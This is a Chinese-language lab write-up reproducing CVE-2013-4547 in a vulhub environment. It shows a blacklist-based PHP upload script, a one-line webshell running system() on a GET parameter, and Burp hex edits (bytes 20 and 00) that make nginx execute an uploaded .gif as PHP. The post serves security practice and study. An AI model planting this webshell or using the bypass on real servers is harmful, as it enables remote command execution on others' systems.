文件上传-16进制绕过

简介: 16进制绕过

wen漏洞-文件上传,找了一些ctf靶场,vulhub靶场去练习,然后有一个靶场 比较有意思。

复习方法如下:

环境搭建:

    git clone https://github.com/vulhub/vulhub.git  
    cd vulhub/nginx/CVE-2013-4547
    docker-compose up -d

    复现:

    阅读源码 发现 黑名单方式,以为很简单 琢磨了一个小时

      <?php
      if (!empty($_FILES)):
      // Check for errors
      if($_FILES['file_upload']['error'] > 0){
          die('An error ocurred when uploading.');
      }
      // Check filesize
      if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
          die('File is not uploaded file');
      }
      $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
      if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
          die('Unsupported filetype uploaded.');
      }
      $new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
      if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
          die('Error uploading file - check destination is writeable.');
      }
      die('File uploaded successfully: ' . $new_name);
      else:
      ?>
      <form method="post" enctype="multipart/form-data">
          File: <input type="file" name="file_upload">
          <input type="submit">
      </form>
      <?php
      

      制作一个webshell  内容为

      shell.gif11.php
      <?php
      phpinfo();
      system($_GET['a']);
      ?>

      点击上传

      bp抓包

      修改文件里的 11 为16进制

        第一个1  --  20第二个1  --  00

        选择第一个1 会出现这个

        640.png

        在选中第二个1 同样的操作

        640.png

        改完了 发现 空格 和 . 重合了

        这个时候先撤回操作 在.前面先输入一个空格

        640.png

        改好之后 会看到有两个空格

        发送到重发模块 然后发送请求 可以看到路径

        访问路径 抓包  然后在gif 后面加上11  然后利用刚才的手法,16进制替换

          1  -- 20
          1  -- 00

          然后在空格后面加上  .php空格

          执行命令

          640.png

          相关文章
          |
          2月前
          |
          安全 网络安全
          明御安全网关任意文件上传漏洞
          安恒信息明御安全网关(以下简称“NGFW”)秉持安全可视、简单有效的理念,以资产为视角,构建“事前+事中+事后”全流程防御的下一代安全防护体系,并融合传统防火墙、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。
          117 1
          |
          2月前
          |
          编解码 JavaScript PHP
          文件上传绕过的常见方式
          文件上传绕过的常见方式
          42 0
          |
          2月前
          |
          JavaScript 前端开发 PHP
          34、文件上传 -- 绕过JS验证
          34、文件上传 -- 绕过JS验证
          31 0
          |
          3月前
          |
          安全 应用服务中间件 PHP
          文件上传解析漏洞,以及检测方式的绕过
          文件上传解析漏洞,以及检测方式的绕过
          |
          7月前
          |
          监控 算法 Java
          记一次从任意文件下载到getshell
          记一次从任意文件下载到getshell
          86 0
          |
          7月前
          |
          监控 安全 JavaScript
          某远控RCE绕过某数字的利用方式
          某远控RCE绕过某数字的利用方式
          165 2
          |
          9月前
          效验文件后缀及其流后缀 是否验证;文件大小
          效验文件后缀及其流后缀 是否验证;文件大小
          79 0
          |
          10月前
          |
          存储 安全 前端开发
          代码审计——任意文件下载详解
          代码审计——任意文件下载详解
          176 0
          |
          11月前
          |
          Web App开发 安全 前端开发
          干货 | 总结各种骚姿势绕过文件上传
          干货 | 总结各种骚姿势绕过文件上传
          12233 0
          |
          11月前
          |
          存储 安全 PHP
          无回显的任意文件上传
          无回显的任意文件上传